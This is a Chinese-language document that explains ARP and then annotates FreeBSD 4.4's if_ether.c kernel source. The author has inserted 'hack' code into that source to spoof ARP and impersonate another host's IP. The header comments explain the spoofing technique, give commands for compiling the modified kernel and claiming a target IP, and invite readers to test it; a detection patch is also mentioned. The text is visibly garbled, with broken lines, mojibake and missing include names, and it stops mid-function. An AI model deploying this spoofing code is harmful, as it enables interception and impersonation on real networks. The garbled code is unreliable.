-
ARP
请求详解
/
IP
地址
是不能直接用来进行通信的。这是因为
IP
地址只是主机在抽象
的网络层中的地址。
若要将网络层中传送的数据报交给目的主机,
还要传到链路层转变成
MAC
帧后才能发送到实
际的网络上。因此,
不管网络层使用的是什么协议,在实际网络的链路上传送
数据帧时,最
终还是必须使用硬件地址。
由于
IP
地址有
32 bit
p>
,而局域网的硬件地址是
48bit
,因此
它们之间不存在简单的映射关
系。此外,
在一个网络上可能经常
会有新的主机加入进来,或撤走一些主机。更换网卡也会
使主机的硬件地址改变。可见在
主机中应存放一个从
IP
地址到硬件地址的映射表,并且这
p>
个映射表还必须能够经常动态更新。地址解析协议
ARP
很好地解决了这些问题。
每一个主机都设有一个
ARP
高速缓存(
ARP cache
),里面有所在的局域网上的各主机和路
由器的
IP
地址到硬件地址的映射表,这些都是该主机目前知道的一些地址。
如果不使用
ARP
高
速缓存,
那么任何一个主机只要进行一次通信,
就必须在网络上
用广播方
式发送
ARP
请求分组,这就
使网络上的通信量大大增加。
ARP
将已经得到的地址映射保存
在
高速缓存中,
这样就使得该主机下次再和具有同样目的地址的
主机通信时,
可以直接从高速
缓存中找到所需的硬件地址而不必
再用广播方式发送
ARP
请求分组。
(
详解过程请参考第
2
页)
ARP
将保存在高速缓存中的每一个映射地址项目都设置生存时间(例如,
10
~
20
分
钟)
。凡
超过生存时间的项目就从高速缓存中删除掉。设置这种
地址映射项目的生存时间是很重要
的。设想有一种情况。主机
A
和
B
通信。
A
的
ARP
高速缓存里保存有
B
的物理地址。但
B
的<
/p>
网卡突然坏了,
B
立即更换了一块,因此
B
的硬件地址就改变了。
A
还要和
B
继续通信。
A<
/p>
在其
ARP
高速缓存中查找到
B
原先的硬件地址,
并使用该地址向
B
发送数据帧。
但
B
原先的
硬件地址已经失效了,因此
A
无法找到主机
B
。但是过了一段时间,
A
的
ARP
高速缓存中
已
经删除了
B
原先的硬件地址
(因为它的存在时间到了)
,
于是
A
重新广播发送
ARP
请求
分组,
又找到了
B
。
< br>
这里需要指出,
ARP
是解决
同一个局域网上的主机或路由器的
IP
地址和硬件地址的映射问
题。如果所要找的主机和源主机不在同一个局域网上,例如,在
TCP/IP
详解卷
1
中,第
29
页的例子,
那么这时就要借助于网络层的协
议,
配合链路层协议才能将数据报成功的发送到
目的主机上。(
详解过程请参考第
3
页)
这里要指出的是,这种从
IP
地址到硬件地址的解
析是自动进行的,主机的用户对这种地址
解析过程是不知道的。只要主机或路由器要和本
网络上的另一个已知
IP
地址的主机或路由
器进行通信,
ARP
协议就会自动地将该
< br>IP
地址解析为链路层所需要的硬件地址。
那么就可能会产生这样的问题:
既然在网络链路上传送的帧最终是按照硬件
地址找到目的主
机的,
那么为什么我们不直接使用硬件地址进行
通信,
而是要使用抽象的
IP
地址并调
用
ARP
来寻找出相应的硬件地址呢?
这个问题必须弄清楚。
由于全世界存
在着各式各样的网络,
它们使用不同的硬件地址。
要使这些异构
网络能够互相
通信就必须进行非常复杂的硬件地址转换工作,因此几乎是不可能的事。但
统一的
IP
地址
把这个复杂问题解决了
。连接到因特网的主机都拥有统一的
IP
地址,它们之间的通信
就像
连接在同一个网络上那样简单方便,
因为调用
ARP
来寻找某个路由器或主机的硬件地址都是
由计
算机软件自动进行的,对用户来说是看不见这种调用过程的。
设想有两个主机可以直接使用硬件地址进行通信
(具体实现方法暂不必管)
。
再假定其两个
主机的网卡都同时坏了,
然后又都更换了一块,因此它们的硬件地址也都改变了。
这时,这
两个主机怎样能够知道对方的硬件地址呢?显然很难。但
IP
地址是独立于主机或路由器的
硬件地址的。硬件地址的改变不会影响使用<
/p>
IP
协议的主机的通信。
因此,在虚拟的
IP
网络上用
IP
地址进行通信给广大的计算机用户带来很大的方便。
/info/article/?aId=9212
*
以太网解释协议
(ARP).
文件名
:/sys/netinet/if_ether.c
*
注释
ie_minix
*
一
p>
,
函数入口
:
*
ARP
有两个入口
:1
*
由<
/p>
ether_input
发出一软中断
(
见我的
ethernet
网络代码详解
一文
),arpintr
中断例程被调用
,
检查完数
据后
* <
/p>
该中断例程调用
in_arpinput
函数
.
*
入口
2:
* <
/p>
由
ether_output
函数在查询
输出的硬件地址时
,
调用
arpres
olve
函数进行地址解析
.
*
所以
,ARP
基本上是和
ether
网输出密切相关的
.
*
二
p>
,
相关的结构
:
*
关于
他使用的结构方面
,llinfo_arp
是和路由相关的一个
结构
,ether_arp
结构是个遵循
RFC826
的一个
ARP
包的结构
.
<
/p>
*
三
,
学习顺序
:
*
在看本文的时候
,
一般从函数
arpintr(
中断例程
)
开始看
,
紧接着看
in_arpinput
函数
.
再看看支撑函数
arplookup
后停止
,
这是第一入口
.
*
ar
presolve
是第二入口的开始
,
他是解析地址的函数
,
如果解析不了
,
调用
arprequest
函数发送一
ARP
请求包
,
第二入口结束
.
*
关于
a
rp_rtrequest
函数和路由函数相关
,
作用是添加或删除一
ARP
节点
.
如果看不懂
,
可到以后的路
p>
由函数讲解时再了解
.
*
四
p>
,ARP
欺骗的核心内实现
:
* <
/p>
在整个程式中
,
有
hack------
是我加入的代码
,
一直到
end------
结束
,
大概有十来段这样的代码
,
是用来实<
/p>
现
ARP
欺骗
,
下面我简要的讲一
*
讲他的实现原理
:
*
在我
们开机后
,
系统初始化阶段
,
确切的说是在
arp_ifinit
初始函数被
调用时
,
将发送一免费
ARP
,
所谓免
费
,
是指要寻找的
IP
地址是我自
< br>
*
己的
IP
地址
,
那么网络上如果有和我相同的
I
P
地址的机器
(IP
地址冲突
),
他就会根据我的这个
ARP
包中的发送源硬件地址应答一个
ARP
*
包给
我
,
我的接收函数就能判断是否有人和我的
IP
设置的是相同的
.
初始化函数
不仅在开机后初始化
时实行
,
而且在你
执行
ifconfig
改动
* <
/p>
IP
地址时也会调用
,
< br>如果要进行
ARP
欺骗
,
那么你就不能发送一免费
ARP
包
,
要不然对方的机器会记
录下你的欺骗
.
这一点是其他的关于
*
AR
P
欺骗方式在用户区域所不能达到的
.
在你的机器冒充另外一台机器期间
,
会遇见两种情况
,
第一种
是
:
被冒充的机器发送一个
ARP
*
请求
,
因为是广播发送
,
< br>所以你也接到了该请求
,
被请求的机器会应答一
ARP
,
这时我们也要应答一
< br>ARP
,
不过要比真正的那台机器晚一点
* (
在程式中我用的是
DELAY<
/p>
延迟
500
毫秒
,
该数据能进行调整
,
以适合你本地网
络中较慢的机器
),
他就
在被冒充的机
器上进行覆盖前
*
一个回应
,
使得被冒充的机器认为你就是他要找的机器
,
当然被冒充的机器紧接着将发送
IP
包给你的
机器
,
由于你的
IP
层会判断包的目的
* IP
地址
(
肯定目的
IP
< br>不对
,
因为被欺骗了
),
所以
IP
层会将他抛弃
.
第二种情况是
:
有其他的机器想和
被欺
骗的机器相联系
,
其他机器也将广
播
*
一
ARP
请求
,
目的
IP
是被欺骗机器的
IP
,
首先被欺骗主
机会回应一
ARP
,
我们也和被欺骗主
机相同回
应一
ARP
,
覆盖被欺骗主机的回应
.
*
五
,<
/p>
漏洞的分析
:
*
目前
,
我所见到的
BSD
< br>类操作系统都可能被欺骗
,
其原因是没有判断
ARP
请求方的目的硬件地址是否
是来之于广播地
址
,
而我们进行的
*
所有欺骗都是进行单播方式的请求
.
*
六
p>
,
解决方案
:
*
在程
式中的
patch
到
patch en
d
部分是我的解决方案
.
主要是对
p>
ARP
请求部分的目的硬件地址是否是
广播
地址进行判断
,
如果要使用
,
请
*
把注释去掉就行了
.
*
七
p>
,
编译
:
*
对于<
/p>
FreeBSD4.4
版本
,
可直接拷贝覆盖
/sys/net/if_ether.c
文件
,
对于当前版本
,
只要把
hack-----
到
end-----
之间的段粘贴到相应的地方
.
*
p>
本程式在
4.4
下已编译通过
,
由于实验条件不行
,
实验
没有在两台以上机器进行过
,
在这里希望网友能帮
忙测试
,
测试的方法是
:
*1.
覆盖原文件后
,
进行核心编译
.
*2.
重启动后
,
执行<
/p>
:
* arp -d -a
* sysctl ck=1
* ifconfig vr0
192.168.0.4 255.255.255.0
* ^ ^ ^
*
你的卡
你要冒充的
IP
掩码
*
最佳是把上面几个命令放到批执行文件中执行
.
*3.
用被冒充的机器去
PING <
/p>
其他机器
,
这时候有可能
ICMP
包能发出几个
,
但应
该即时没有反应
.
*4.
如果有什么问题
,
大家能把他记录
,
并发布
到
BBS
上
,
更希望能多测试几种系统
.
*
*/
#include
个头文件由编译器在编译操作系统核心时产生的一些常量
*/
#include
#include
#include
#include
队列操作
*/
#include
#include
#include
缓冲管理
*/
#include
分配缓冲
*/
#include
主要
是
sockaddr_in
结构要用到
*/
#include
宏用到
,
即日志记录
*/
#include
硬件接口使用
的一些结构
,if
的意思是
inter
face*/
#include
链路层的一些数据结构
*/
#include
#include
和路由相关的函数
*/
#include
注册中断向量用到的函数
*/
#include
#ifdef BRIDGE
/*
如果定义了桥转发
*/
#include
#include
#endif
#include
#include
#include
#include
/*hack:------------------------*/
#include
因为要使用
DELAY()
延迟函数
*/
static int arphacklock=0;
/*
全局变量用的锁
*/
struct in_addr
gatewayip; /*
网关
IP*/
struct in_addr oldip; /*
我机器老
的
IP
地址
*/
static int trueip=0; /*
是否使用冒
充
IP
发送
ARP
请求
*/
static u_char ithardaddr[6]
;/*
要冒充机器的硬件地址
,
在转移
到临时缓冲之前由锁来控制其写
*/
static int
fromsubr=100; /*
实验用
,
< br>看看本机发出
ARP
请求是那个函数
*/
/*end-------------------------*/
#define
SIN(s)
((struct
sockaddr_in
*)s)
/*
强制转化成
sockaddr_in
结构
,
< br>即
Internet
地址结构
,
其中
s
一般是
sockaddr
结构
*/
#define
SDL(s)
((struct
sockaddr_dl
*)s)/*
强制转化成
sockaddr_dl
结构
,
即
ethernet
地址结构<
/p>
,
其中
s
一般是
sockaddr
结构
*/
SYS
CTL_DECL(_net_link_ether);/*
用于
sysctl
用法如下
:sysctl
....=XXX,
SYSCTL_DECL
是申明下面的
SYSC
TL_NODE
将继承的节点
*/
SYSCTL_NODE(_net_link_ether, PF_INET,
inet, CTLFLAG_RW, 0,
/*
hack:
static int
hackarp=0;
SYSCTL_INT(_net_link_ether_inet,
OID_AUTO, ctrlhack, CTLFLAG_RW,&hackarp, 0,
/*<
/p>
这方便你在用户区可控制核心变量
,
用法
如下
:sysctl
karp=1
那么变量
hackarp
就为
1
了
.
下面的程式会根据
hack
的真假判断来进行欺骗
*/
/*
一些记时器的值
*/
static
int
arpt_prune
=
(5*60*1);
/*
每
5
分钟过一遍列表
,
这个变量是由计时器使用
,
看看有没有超时
ARP
结点
,
有就删除他
*/
static int arpt_keep =
(20*60); /*
一旦解析了
,
保持
20
分钟
*/
static int
arpt_down = 20; /*
一旦公开了
down,
20
秒不发送
*/
/*<
/p>
对以上
3
个变量的控制
< br>*/
/*
使用方法
:sysctl
_intvl=180
也就是把
AR
P
定时期改为了每
3
分钟查一次
ARP
结点
*/
SYSCTL_INT(_net_link_ether_inet,
OID_AUTO, prune_intvl, CTLFLAG_RW,
&arpt_prune, 0,
SYSCTL_INT(_net_link_ether_inet,
OID_AUTO, max_age, CTLFLAG_RW,
&arpt_keep, 0,
SYSCTL_INT(_net_link_ether_inet,
OID_AUTO, host_down_time, CTLFLAG_RW,
&arpt_down, 0,
#define rt_expire rt__expire /*
< br>这里是放当前时间的
,
如果
rt
init
路由初始程式加入一
IP
路由
,
那
么把当前时间
+20*60
秒放进去
,*/
/*arptimer
函数会和当前时间
(
当前时间由时钟每秒加
1)
比较
,
如果相等
或比当前时间小
,
即到了或
*/
/*<
/p>
该
ARP
结点时间过了
< br>20
分钟
.
即超时
*/
/*
这里其实是真正的
ARP
列表
*/
struct llinfo_arp {
LIST_ENTRY(llinfo_arp) la_le;/*
< br>单向列表宏
,
说明该结构是一单向的列表
,
尾巴为
0*/
struct rtentry
*la_rt; /*
和该结点相关的路由
*/
struct mbuf *la_hold; /*
由于该
地址正等待解释
,
所以要发送的数据
(
mbuf
链头
)
指针暂时存放
*/
long la_asked; /*
为该地址发送了一共几个
ARP
请求
,
如果到了
5
个
,
那么暂时停止
20
秒
*/
#define la_timer la_rt->rt__expire
};
static LIST_HEAD(, llinfo_arp) llinfo_a
rp;/*
全局
ARP
链表及表头
p>
,
从这开始就能遍历整个
ARP
结点
*/
struct ifqueue arpintrq =
{0, 0, 0, 50};/*ARP
请求队列
,
在我的
网络代码详解
<
/p>
中有说明
,
因为我
们要
hack,
所以要改大一些
,1
00*/
static int arp_inuse,
arp_allocated;/*
这都是统计用的
*/
static int arp_maxtries = 5; /*
< br>在解释地址时重复发送
ARP
请求的包的次数
*/
static int useloopback = 1; /*
在本地使用环回接口
*/
static int arp_proxyall = 0;
/*ARP
代理是否使用
*/
/*
对以
上
3
个变量的控制
*/
SYSCTL_INT(_net_link_ether_inet,
OID_AUTO, maxtries, CTLFLAG_RW,
&arp_maxtries,
0,
SYSCTL_INT(_net_link_ether_inet,
OID_AUTO, useloopback, CTLFLAG_RW,
&useloopback,
0,
SYSCTL_INT(_net_link_ether_inet,
OID_AUTO, proxyall, CTLFLAG_RW,
&arp_proxyall,
0,
static void arp_rtrequest __P((int,
struct rtentry *, struct sockaddr *));/*
添加或删除一
ARP
节点
,
和路
由有关
*/
static void
arprequest __P((struct arpcom *, /*
发送一<
/p>
ARP
请求
,
目
的硬件地址是广播地址
*/
struct in_addr *, struct
in_addr *, u_char *));
static void arpintr
__P((void)); /*ARP
软中断
,
由
ether_input
函数
(if_ethersubr.c)
调用
*/
static void arptfree __P((struct
llinfo_arp *)); /*
释放一
ARP
节点
*/
static void arptimer
__P((void *)); /*
定时查询
ARP
节点是否超时
*/
static struct llinfo_arp
*arplookup __P((u_long, int, int)); /*<
/p>
在路由表中查询
IP
的路由
,
并返回该
IP
路由的相关
的
ARP
节点信
息
*/
#ifdef INET
static void in_arpinput
__P((struct mbuf *)); /*
由
ARP
软中断调用
,
对进入的
ARP
包进行分析
*/
#endif
/*
*
定时程式
.
该函数用来查看是否有<
/p>
ARP
超时
(20
分钟
).
有就清除他
*/
static void
arptimer(ignored_arg)
void *ignored_arg;
{
int s = splnet(
);/*
链路层中所有对链表要操作的都要屏蔽网络中断
*/
register
struct
llinfo_arp
*la
=
llinfo__first;/*
第
一
个
ARP
结
点
表
,
是
个<
/p>
单
向
链
表
,
通
过
la->la
__next
链接到下一个
*/
struct
llinfo_arp *ola;/*
临时存放
ARP
界点用的
*/
timeout(arptimer,
(caddr_t)0, arpt_prune * hz);/*
每格
5
分钟查看一次
(
调用自己
)*/
while ((ola = la) != 0)
{/*
没有到链表尾巴就继续循环
*/
register struct rtentry *rt = la->la_rt
;/*
该
ARP
结点相关的路有表
p>
*/
la = la->la__next;/*while
的循环
可遍历整个
ARP
结点表
*/
if
(rt->rt_expire && rt->rt_expire <= time_second)/*<
/p>
如果是非永久性
ARP
并且时间超时
p>
,
在启用了一个
ARP
结点时
,*/
/*rt->rt_expire
会
设置成当前的
time_second(
系统内的秒
)+20
分钟
*/
/*
然后
time_second
就滴答滴答的在走
,
当系统的
time_second
走了
20*/
/*
分钟时候
,
就使
rt->rt_expire
和
time_second
相等了
,<
/p>
等式成立
.
就
.
..*/
arptfree(ola); /*
定时器期满
,
清晰该
ARP
记录
p>
,
函数在后面
*/
}
splx(s);/*
开网络中断
*/
}
/*
* <
/p>
当你在设置你的某块网卡的
IP
时
(
如
:ifconfig ...),
*/
static void
arp_rtrequest(req, rt, sa)
int
req;/*
是删除
,
添加还是克隆一
个路由
(
克隆路由是因为到外网的
IP
都必须经过网关
,
也就是说
,
你的数
据包发给网关就没事了
< br>),*/
/*
所以外网的
IP
的路由
都是克隆网关的就
OK
了
.*/
register struct rtentry *rt;
struct sockaddr *sa;
{
register struct
sockaddr *gate = rt->rt_gateway;
register struct
llinfo_arp *la = (struct llinfo_arp
*)rt->rt_llinfo;
static struct sockaddr_dl
null_sdl = {sizeof(null_sdl), AF_LINK};
static int arpinit_done;
if
(!arpinit_done) {/*
判断是否建立了
AR
P
节点队列
*/
arpinit_done =
1;
LIST_INIT(&llinfo_arp);/*
建立
A
RP
节点队列
*/
timeout(arptimer, (caddr_t)0,
hz);/*
启动计时器
*/
register_netisr(NETISR_ARP
,
arpintr);
/*
我们来看看
register_netis
r
函数
,
即设置中断向量
,NETISR_ARP
是中断号
,arpintr
中断例程
int
register_netisr(num,
handler)
int num;
netisr_t *handler;/*
中断例程指针
{
if (num < 0 ||
num >= (sizeof(netisrs)/sizeof(*netisrs)) {/*
中断号不能小于
0
或大于中断向量数组的最大
p>
下标
*
printf(
\
< br>n
return (EINVAL);
}
netisrs[num] =
handler;/*
设置他
,
唯一调
用他的是
if_ethersubr.c
中的
< br>ether_input
函数
(
我是指
ARP
哦
)*
return
(0);
/*
看一下
sys
\
i3
86
\
isa
\
ipl.s(82
行
):
文件中的<
/p>
.globl
_netisrs
定义为
32
个长字的
netisrs
中断向量数组
.*
}
*/
}
if (rt->rt_flags &
RTF_GATEWAY) /*
如果是网关
,
返回
*/
return;
switch (req) {
case
RTM_ADD:/*
添加一条路由
*/
/*
*/
if
((rt->rt_flags & RTF_HOST) == 0 && /*
不是
主机路由且掩码不是全
1(
即不是主机路由
,
主机路由隐含
的掩码是全
1)*
/
SIN(rt_mask(rt))->sin_addr.s_addr !=
0xffffffff)
rt->rt_flags |= RTF_CLONING;/*
加克隆标志
,
即外网的
IP
,
使用克隆吧
*/
if
(rt->rt_flags & RTF_CLONING) {
/*
*
有克
隆标志
,
即到外网
,
< br>把网关的考过来就行了
.
*/
rt_setgate(rt, rt_key(rt),
/*
既然是外网的
IP
,
设置好他的路由的网关地址
*/
(struct
sockaddr *)&null_sdl);
gate = rt->rt_gateway;/*gat
e
是一
sockaddr
结构
,
那么他得到的是网关的硬件地址
*/
SDL(gate)->sdl_type
=
rt->rt_ifp->if_type;/*
不用去查
< br>SDL
宏
,
看都能看出来
,
他是把
sockaddr
< br>转成
sockaddr_dl
结构
.*/
SDL(gate)->sdl_index
=
rt->rt_ifp->if_index;/*
想一想
,if_type
在
IP
路由
会是什么呢
(
当然更有
IPX
路
由
)*/
rt->rt_expire =
time_second;/*
看了上面哪个函数就知道了
,<
/p>
这个路由开始计时
,
放入当前时间的秒值
*/
break;
}
/*
发送一免费
< br>ARP
的通告
.
免费
ARP
用于查看是否有人和自己的
IP
相冲突
. */
if (rt->rt_flags &
RTF_ANNOUNCE)
arprequest((struct arpcom *)rt->rt_ifp,
/*
发送一
ARP
请求
*/
&SIN(rt_key(rt))->sin_addr, /*
看到吧
,
源
IP
< br>地址和目的
IP
地址都是自己
*
/
&SIN(rt_key(rt))->sin_addr,
(u_char *)LLADD
R(SDL(gate)));/*
我的硬件地址
*/
case RTM_RESOLVE:
if
(gate->sa_family != AF_LINK ||
gate->sa_len <
sizeof(null_sdl)) {
log(LOG_DEBUG,
\
n
break;
}
SDL(gate)->sdl_type =
rt->rt_ifp->if_type;
SDL(gate)->sdl_index =
rt->rt_ifp->if_index;
if (la != 0)
break;
/*
到这是因为路由发生了改动
*/
/*
*
该路由可能来自克隆路由
.
*/
R_Malloc(la,
struct llinfo_arp *, sizeof(*la));/*
分配一
ARP
节点所需的内存
*/
rt->rt_llinfo = (caddr_t)la;/*
使相关路由的
ARP
节点指针指向所分配的地方
*/
if (la == 0) { /*
一开始我觉得这里有毛病
,
上面的那句应该放到该判断的后面
,
并应该
FREE
掉分配的结
构
,
但没关系
,
清大家思考
*/
log(LOG_DEBUG,
\
n
break;
}
arp_inuse++,
arp_allocated++;/*
统计用
*/
Bzero(la,
sizeof(*la));/*
结构清
0*/
la->la_rt = rt;/*
设置
ARP
节点的相关路由回指针
*/
rt->rt_flags |= RTF_LLINFO;/*
在相关的路由中加上有
ARP
节点标志
*/
LIST_INSERT_HEAD(&llinfo_arp, la, la_le
);/*
把该
ARP
节点插入
ARP
节点链表中
(
队
列的插入操作
)*/
#ifdef INET
/*
*
广播地
址和多播地址
,
他们都是永久
ARP
*/
if
(IN_MULTICAST(ntohl(SIN(rt_key(rt))->sin_addr.s_ad
dr))) {
ETHER_MAP_IP_MULTICAST(&SIN(rt_key(rt))->sin_
addr,
LLADDR(SDL(gate)));
SDL(gate)->sdl_alen = 6;/*
硬件
地址的长度
,
对
rt(
路由信息结构
)
的
rt_ga
teway
成员操作
*/
rt->rt_expire =
0;/*0
表示该
ARP
永不过期
p>
*/
}
if
(in_broadcast(SIN(rt_key(rt))->sin_addr,
rt->rt_ifp)) {/*rt_key(rt)
是查找路由信息中所包含
p>
IP
的硬件
地址
,
属路由函数
*/
memcpy(LLADDR(SDL(gate)),
etherbroadcastaddr, 6);
SDL(gate)->sdl_alen = 6;/*<
/p>
硬件地址的长度
,
对
rt(
路由信息结构
)
的
rt_gateway
成员操作
*/
rt->rt_expire = 0;/*0
表示该
ARP
永不过期
*/
}
#endif
if
(SIN(rt_key(rt))->sin_addr.s_addr ==
(IA_SIN(rt->rt_ifa))->sin_addr.s_addr)
{
rt->rt_expire = 0;/*
置永久
ARP
标志
,
即该
ARP
永不过期
*/
Bcopy(((struct arpcom
*)rt->rt_ifp)->ac_enaddr, /*
把本网卡的硬件地址放入
路由的
rt->rt_gateway
中
*/
LLADDR(SDL(gate)),
SDL(gate)->sdl_alen
=
6);
/*
记住
:
内核函数
Bcopy
和
Memcpy
都是内存拷贝
,
< br>但参数方向不同
*/
if (useloopback)
rt->rt_ifp = loif;
}
break;
case RTM_DELETE:/*
删除一
ARP
节点
,
当然也要对对应
的路由进行相关的操作
*/
if (la == 0)
break;
arp
_inuse--;/*
统计用
*/
LIST_REMOVE(la,
la_le);/*
从链表中
(ARP
节点链表
,
即结构
llinfo_ar
p)
删除一
ARP
节点
*/
rt->rt_llinfo = 0;/*
该路由所指向的<
/p>
ARP
节点置空
*/
rt->rt_flags &= ~RTF_LLINFO;/*
去掉含有
ARP
节点标志
*/
if
(la->la_hold)/*
如果在该节点中更有未发送的
mbuf,
释放掉
*/
m_freem(la->la_hold);
Free((caddr_t)l
a);/*
释放该
ARP
节点结构占用
的内存
*/
}
}
/*
*
广播一
ARP
请求
:
* ac
要发送该
ARP
包的网卡
(
由以太网通用结构
arpcom
指向该卡的相关
结构
)
* sip-
源
IP
地址
*
tip-
目的
IP
地址
*
enaddr
源以太网地址
*/
static void
arprequest(ac, sip, tip, enaddr)
register struct arpcom *ac;
/*
以太网通用结构
*/
register struct
in_addr *sip, *tip;/*
源和目的
IP<
/p>
地址
*/
register u_char *enaddr;/*<
/p>
发送
ARP
包的卡的硬件地址
*/
{
register struct mbuf
*m;/*mbuf
链指针
*/
register struct
ether_header *eh;/*
以太网头部
*/
register struct ether_arp *ea;
/*ARP
头部结构
*/
struct sockaddr
sa;/*
在这没用上
,
除非你在
p>
ISO
协议中
*/
static u_char llcx[] = { 0x82, 0x40,
LLC_SNAP_LSAP
,
LLC_SNAP_LSAP
, /*
用于
ISO
协议
*/
LLC_UI, 0x00,
0x00, 0x00, 0x08, 0x06 };
if ((m =
m_gethdr(M_DONTWAIT, MT_DATA)) == NULL)/*
该函数在
mbuf.c
中
,
建立一
mbuf,
其实他是
< br>MGETHDR(m, how, type);
下面对该宏有周详的解释
*/
return;
m->m_
=
(struct
ifnet
*)0
;/*
对
于
此
语
句
,
本
人<
/p>
并
没
有
发
现
什
么
有
用
的
地
方
,
不
管
在
ether_output,
还是在驱动程式的包输出中
,
都没有用上他
*/
switch
(ac->ac__type)
{/*
查看该卡所用的协议
*/
case IFT_ISO880
25:/*
支持
ISO
协议
,
我们能略去
*/
m->m_len =
sizeof(*ea) + sizeof(llcx);
m->m_ =
sizeof(*ea) + sizeof(llcx);
MH_ALIGN(m,
sizeof(*ea) + sizeof(llcx));
(void)memcpy(mtod(m, caddr_t), llcx,
sizeof(llcx));
(void)memcpy(_data, etherbroadcastaddr,
6);
(void)memcpy(_data + 6, enaddr, 6);
_data[6] |= TR_RII;
_data[12] =
TR_AC;
_data[13] = TR_LLC_FRAME;
ea = (struct
ether_arp *)(mtod(m, char *) + sizeof(llcx));
bzero((caddr_t)ea, sizeof (*ea));
ea->arp_hrd = htons(ARPHRD_IEEE802);
break;
case IFT_FDDI:
case IFT_ETHER:
/*
以太网协议和
FDDI
协议大体上
相同
*/
default:
m->m_len =
sizeof(*ea);/*ARP
结构大小
*/
m->m_ = sizeof(*ea);
/*(
下
面的
)
此宏的意思是把
m->m_da
ta
的指针进行调整
(
按
32
位对齐
)
#define
MH_ALIGN(m, len) do {
\
(m)->m_data += (MHLEN - (len)) &
~(sizeof(long) - 1);
\
}
while (0)
*/
MH_ALIGN(m, sizeof(*ea));
ea = mtod(m,
struct ether_arp *);/*
重新定位
AR
P
头部指针
()*/
eh = (struct
ether_header *)_data;
bzero((caddr_t)ea, sizeof
(*ea));
eh->ether_type = htons(ETHERTYPE_ARP);
/*hack:------------------------*/
if
((hackarp==1) && (trueip==1))/*
在发送请求包时<
/p>
,
有两种方法
:1,
发送原来老的
IP
的请求
,
目的硬件地
址是广播地址
*/
{
/* 2,
发送新的
(
冒充的
)IP
的请求
,
目的地
址
?
嵌苑降挠布
?
刂
?(
在上面发送后
,
对方会回应
)*/
(void)memcpy(eh->ether_dhost,
ithardaddr,
6);
/*
只要回应了
,
< br>把对方的
IP
,
硬件地址记录下
后
,trueip
设置为
1,
再发送
*/
}else{
/*end-------------------------*/
(void)memcpy(eh->ether_dhost, etherbroa
dcastaddr,/*
发送
ARP
请求包到以太网络的广播地址
*/
sizeof(eh->ether_dhost));
/*hack:------------------------*/
}
/*end-------------------------*/
ea->arp_hrd = htons(ARPHRD_ETHER);/*080
0
是
IP
包
,
ARPHRD_ETHER
是
ARP
包
*/
break;
}
ea->arp_pro =
htons(ETHERTYPE_IP);
/*IP
类型
*/
ea->arp_hln =
sizeof(ea->arp_sha); /*
硬件地址长度
*/
ea->arp_pln = sizeof(ea->arp_spa); /*
协议地址长度
*/
ea->arp_op = htons(ARPOP_REQUEST); /*AR
P
包的操作类型
,
即该出是请求
*/
(void)memcpy(ea->arp_sha, enaddr, sizeo
f(ea->arp_sha));/*
本卡的硬件地址
*/
/*hack:------------------------*/
if
(hackarp==1) {
if (trueip==1)/*
当要发送冒充的
IP
时
,*/
{
/*end-------------------------*/
(void)memcpy(ea->arp_spa, sip, sizeof(e
a->arp_tpa));/*
本卡的
IP
< br>地址
*/
/*hack:------------------------*/
trueip=0;
arphacklock=0;/*
解锁
,
之后
ithardaddr
p>
变量可被操作
*/
}else{
if
(oldip.s_addr!=NULL)/*
当然
,
这是用老的
IP
向广播地址发
ARP
请求包
*/
(void)memcpy(ea->arp_spa, &oldip,
sizeof(ea->arp_tpa));
}
}else{
(void)memcpy(ea->arp_spa, sip, sizeof(e
a->arp_tpa));/*
这是正常的操作
*/
}
/*end------------------------*/
(void)memcpy(ea->arp_tpa, tip, sizeof(e
a->arp_tpa));/*
目的地址
IP*/
_family
=
AF_UNSP
EC;/*
直接发送
,
在
if_ethersubr.c
中的
if_outp
ut
会判断此标志
,
有此标
志
,if_output
将不重新填充以太网头部
*/
_len = sizeof(sa);
(*ac->ac__output)(&ac->ac_if,
m,
&sa,
(struct
rtentry
*)0);/*
由于
在本地的路由中未找到该
IP
,
所
p>
以
,rtentry
的指针为
0*/
}
/*
解析一
IP
地址到以太网地址
,
如果成功
,<
/p>
目的地被填充
.
如果在
< br>ARP
表中没有
,
广播一请求<
/p>
*
一但被解析了
,
< br>被保留的
mbuf
再重新发送
,
返回值是
1
则说明目的地被填充
,
包将发送
,0
表示
*
包被接管
,
或目前或将来传送
,
在整个
INET
原始码中
,
只有
if_ethersubr.c
中的
if_output
*
函数对他进行了调用
*/
int
arpresolve(ac,
rt, m, dst, desten, rt0)
register struct arpcom *ac;
register struct rtentry *rt;
struct mbuf *m;
register struct sockaddr
*dst;
register u_char *desten;
struct rtentry
*rt0;
{
struct llinfo_arp *la = 0;/*
定义一
ARP
节点指针
*/
struct sockaddr_dl *sdl;/*
定义
一数据链路层地址结构
,
该结构属于
s
ockaddr
的子集
*/
if (m->m_flags
& M_BCAST) { /*
广播地址
*/
(void)memcpy(desten,
etherbroadcastaddr,
sizeof(e
therbroadcastaddr));/*
把广播的硬件地址返回给
ether_output
函数
*/
return (1);
}
if (m->m_flags & M_MCAST) {
/*
多播地址
*/
ETH
ER_MAP_IP_MULTICAST(&SIN(dst)->sin_addr,
desten);/*
把
多
播
p>
的
硬
件
地
址
返
回
给
ether_output
函数
*/
return(1);
}
if (rt)/*
如果以太网
p>
ether_output
函数调用本函数时的
rt(
路由信息
)
不为空
*/
la = (struct llinfo_arp *)rt->rt_llinfo
;/*
那么把路由中指向
ARP
节点的
指针放到
la
中
*/
if
(la == 0) {/*la
是
ARP
< br>地址表的入口
*/
la =
arplookup(SIN(dst)->sin_addr.s_addr, 1, 0);/*arplo
okup
函数查找该
IP
,
找到了就返回一
ARP
节点
,
没找到就建立一
ARP
节点
(
因为第
2
个参数为
1)*/
if (la)
rt = la->la_rt;
/*
利用
llinfo_arp
结构<
/p>
(
即
ARP
节点
)
的回指针定位其路由表
*/
}
if
(la == 0 || rt == 0) {/*
如果
AR
P
节点还是空
(
没找到
),
或相关的路由表没有
*/
log(
LOG_DEBUG,
\
n
inet_ntoa(SIN(dst)->sin_addr), la ?
rt
?
m_freem(m);
return (0);
}
sdl = SDL(rt->r
t_gateway);/*
返回网关的硬件地址
*/
/*
检查地址族和长度是否可用
,OK
的话
解释地址
,NOT
的话就返回
0
给
if_ethersubr.c
中的
if_output
函数
*/
if
((rt->rt_expire == 0 || rt->rt_expire >
time_second) &&/*
如果是永久
ARP
或
ARP
未超时并且
*/
sdl->sdl_family == AF_LINK &&
sdl->sdl_alen != 0) { /*
地址类型是硬件链路层地址
,
并且地址长度不为
0*/
bcopy(LLADDR(sdl), desten,
sdl->sdl_alen);
